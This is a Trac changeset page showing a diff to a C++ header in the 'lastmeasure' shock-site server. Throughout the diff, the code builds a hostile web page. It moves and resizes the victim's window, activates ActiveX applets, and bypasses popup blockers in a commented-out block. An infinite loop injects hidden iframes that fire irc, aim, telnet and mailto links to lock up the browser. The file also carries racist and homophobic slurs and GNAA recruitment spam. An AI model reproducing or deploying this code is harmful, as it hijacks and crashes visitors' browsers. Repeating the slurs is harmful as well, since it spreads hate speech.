Changeset 560 for trollforge


Ignore:
Timestamp:
01/11/12 01:12:39 (17 months ago)
Author:
literalka
Message:

more work

File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/lmresource.h

    r559 r560  
    88#include "lmkeywords.h" 
    99 
     10static size_t imagecount = 31; 
     11static size_t soundcount = 16; 
     12 
    1013static char const *staticnames[] = 
    1114{ 
    12     /* Static images */ 
     15    /* Static images - 31 */ 
    1316    "/images/awesome.jpg",    "/images/Pain4.jpg", 
    1417    "/images/balloonboy.jpg", "/images/Pain5.jpg", 
     
    2831    "/images/Pain3.jpg", 
    2932 
    30     /* Static sound samples */ 
     33    /* Static sound samples - 16 */ 
    3134    "/audio/abez2.wav",    "/audio/abez.wav", 
    3235    "/audio/blackman.wav", "/audio/eska.wav", 
     
    127130 "        onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n"; 
    128131 
    129         data << MoveAround(800, 600); 
     132        data << MoveAround(800, 600, host); 
    130133        data << ActivateApplets(); 
    131134        if (is_ie6) 
     
    166169 
    167170        ret << 
     171/* 
     172 * Let's figure out what the fuck kind of browser the poor plebes are using. :( 
     173 *  MSIE gets a special kind of Last Measure where I start off with a 
     174 *  `ModelessDialog' and pop up from it. 
     175 *  Gets around Google Toolbar. 
     176 *              -- goat-see 
     177 */ 
    168178 "var nom = navigator.appName.toLowerCase();" 
    169179 "var agt = navigator.userAgent.toLowerCase();" 
     
    200210 "      credits += \"Christmas\\n\";" 
    201211 "      credits += \"Rusty's Wife\\n\";" 
     212 "      credits += \"The Harlequin Fetus\\n\";" 
     213 "      credits += \"Balloon Boy\\n\";" 
    202214 "      credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\";" 
    203215 "      credits += \"And much, much more!\\n\";" 
     
    223235 "}" 
    224236 
     237/* FIXME 
     238 "function click() {" 
     239 "    if(event.which == 3 || event.button == 2) {" 
     240 "        return false;" 
     241 "    }" 
     242 "}" 
     243*/ 
     244 
    225245 "function procreate() {" 
    226246 "    for(i = 0; i < 16; i++) {" 
     
    243263 
    244264 "function load_goatse() {" 
    245  "  document.body.innerHTML += goatseflash;" 
    246  "  setTimeout(\"unload_goatse()\", 3000);" // 3s 
     265 "    document.body.innerHTML += goatseflash;" 
     266 "    setTimeout(\"unload_goatse()\", 3000);" // 3s 
    247267 "}" 
    248268 
    249269 "function unload_goatse() {" 
    250  "  document.getElementById(\"hello\").style.display = 'none';" 
     270 "    document.getElementById(\"hello\").style.display = 'none';" 
    251271 "}" 
    252272 
    253273 "function noframes() {" 
    254  "        if (top.location.hostname != location.hostname)" 
    255  "                top.location.href = window.location.href;" 
     274 "    if (top.location.hostname != location.hostname)" 
     275 "        top.location.href = window.location.href;" 
    256276 "}" 
    257277 
     
    261281 "        \"http://" << host << "/jews.wmv\"," 
    262282 "        \"irc://irc.gnaa.eu/gnaa\"," 
    263  "        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARCHATS.COM%20#GNAA\"," 
     283 "        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\"," 
    264284 "        \"news:alt.flame.niggers\"," 
    265285 "        \"news:alt.flame.faggots\"," 
     
    269289 "        \"rlogin://1.1.1.1:80\"," 
    270290 "        \"telnet://1.1.1.1:80\"," 
    271  "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2012,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa\"," 
    272291 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\"," 
    273  "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\"," 
     292 //"        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\"," 
     293 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\"," 
    274294 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\"," 
    275295 "        \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\"" 
     
    277297 
    278298 "function add(str) {" 
    279  "  div = document.getElementById('goatse');" 
    280  "  div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';" 
     299 "    div = document.getElementById('goatse');" 
     300 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';" 
    281301 "}" 
    282302 
    283303 "function ruin() {" 
    284  "  document.body.innerHTML += '<div id=\"goatse\">Y HALLO THAR!</div>';" 
    285  "  while (1) {" 
    286  "    for (i = 0; i < protos.length; i++) {" 
    287  "      add(protos[i]);" 
     304 "    document.body.innerHTML += '<div id=\"goatse\">Y HALLO THAR!</div>';" 
     305 "    while (1) {" 
     306 "        for (i = 0; i < protos.length; i++) {" 
     307 "            add(protos[i]);" 
     308 "        }" 
    288309 "    }" 
    289  "  }" 
    290310 "}"; 
    291311 
     
    335355    } 
    336356 
     357/* NB on `imagelist' and `imagecount': 
     358 *  There is undoubtedly a better (read: not redundant with `staticnames') way 
     359 *   to do this. I cannot think of such a way right now. I just wrote something 
     360 *   that would (hopefully) work, so I could test it and go from there. 
     361 *     -- Leon 
     362 */ 
     363 
     364    static std::string MoveAround(size_t width, size_t height, char const *host) 
     365    { 
     366        std::stringstream ret(""); 
     367 
     368        ret << 
     369 
     370        "<script type=\"text/javascript\">" 
     371        "<!--" 
     372        "    var images = new Array();\n" 
     373        "    var imagecount = " << imagecount << ";"; 
     374 
     375        for(size_t i = 0; i < imagecount; i++) 
     376        { 
     377            ret << "    images[" << i << "] = 'http://" << host << "images/" << staticnames[i] << "';\n"; 
     378        } 
     379 
     380        ret << 
     381 
     382        "var delay = 10;" 
     383        "var step = .2;" 
     384        "var curstep = 0;" 
     385         
     386        "window.resizeTo(" << width << " , " << height << ");" 
     387        "var centerX = (self.screen.width - document.body.clientWidth) / 2;" 
     388        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;" 
     389        "movew0w();" 
     390         
     391        "function movew0w() {" 
     392        "    var j;" 
     393        "    for (j = 0; j < 5; j++) {" 
     394        "        curstep += step / 5;" 
     395        "        var factorX = Math.sin(curstep * 6.1) * 0.9;" 
     396        "        var factorY = Math.cos(curstep * 3.7) * 0.9;" 
     397         
     398        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)" 
     399        "                    * (Math.sin(10+curstep/(10+j))+0.2)" 
     400        "                    * Math.cos((curstep + j*25)/10);" 
     401        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)" 
     402        "                       * (Math.sin(10+curstep/10)+0.2)" 
     403        "                       * Math.cos((curstep + j*25)/10);" 
     404        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));" 
     405        "    }" 
     406 
     407        "    document.body.background = images[(Math.floor(curstep) % imagecount) + 1];" 
     408        "    setTimeout(\"movew0w()\", delay);" 
     409        "}" 
     410        "// -->" 
     411        "</script>" 
     412        "}"; 
     413 
     414        return ret.str(); 
     415    } 
     416 
     417    static std::string ActivateApplets() 
     418    { 
     419        std::stringstream ret(""); 
     420 
     421        ret << 
     422 
     423        "<div>" 
     424        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">" 
     425        "        <param name=\"ActivateApplets\" value=\"1\" />" 
     426        "        <param name=\"ActivateActiveXControls\" value=\"1\" />" 
     427        "    </object>"; 
     428        "</div>"; 
     429 
     430        return ret.str(); 
     431    } 
     432} 
     433 
     434/* 
     435        data << ActivateApplets(); 
     436        if (is_ie6) 
     437        { 
     438            data << PopupBypasser(); 
     439            data << DivertOnload(); 
     440        } 
     441 
     442function popup_bypasser() { 
     443"<!-- This chunk bypasses popups -->\n"; 
     444"<script type=\"text/javascript\">\n"; 
     445"<!--\n"; 
     446"function shellscript() {\n"; 
     447"\tfor(i = 0; i < 5; i++) {\n"; 
     448"\t\topen('http://".$_SERVER['SERVER_NAME']."/index.php?popup=1','_blank','scrollbar=no');\n"; 
     449"\t}\n"; 
     450"}\n"; 
     451 
     452"function main() {\n"; 
     453"\tx.DOM.Script.execScript(shellscript.toString());\n"; 
     454"\tx.DOM.Script.setTimeout(\"shellscript()\");\n"; 
     455"\tsetTimeout(\"main()\", 200);\n"; 
     456"}\n"; 
     457"// -->\n"; 
     458"</script>\n"; 
     459} 
     460 
     461function divert_onload() { 
     462"<script type=\"text/javascript\">\n"; 
     463"\t<!--\n"; 
     464"\tvar SymRealOnLoad;\n"; 
     465"\tvar SymRealOnUnload;\n"; 
     466"\tvar SymRealWinOpen;\n"; 
     467 
     468"\tfunction SymOnUnload() {\n"; 
     469"\t\twindow.open = SymWinOpen;\n"; 
     470"\t\tif(SymRealOnUnload != null)\n"; 
     471"\t\t\tSymRealOnUnload();\n"; 
     472"\t}\n"; 
     473 
     474"\tfunction SymOnLoad() {\n"; 
     475"\t\tif(SymRealOnLoad != null)\n"; 
     476"\t\t\tSymRealOnLoad();\n"; 
     477"\t\twindow.open = SymRealWinOpen;\n"; 
     478"\t\tSymRealOnUnload = window.onUnload;\n"; 
     479"\t\twindow.onUnload = SymOnUnload;\n"; 
     480"\t}\n"; 
     481 
     482"\tSymRealOnLoad = window.onLoad;\n"; 
     483"\twindow.onLoad = SymOnLoad;\n"; 
     484"\t// -->\n"; 
     485"</script>\n"; 
     486} 
     487 
     488*/ 
     489 
    337490private: 
    338491    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 
Note: See TracChangeset for help on using the changeset viewer.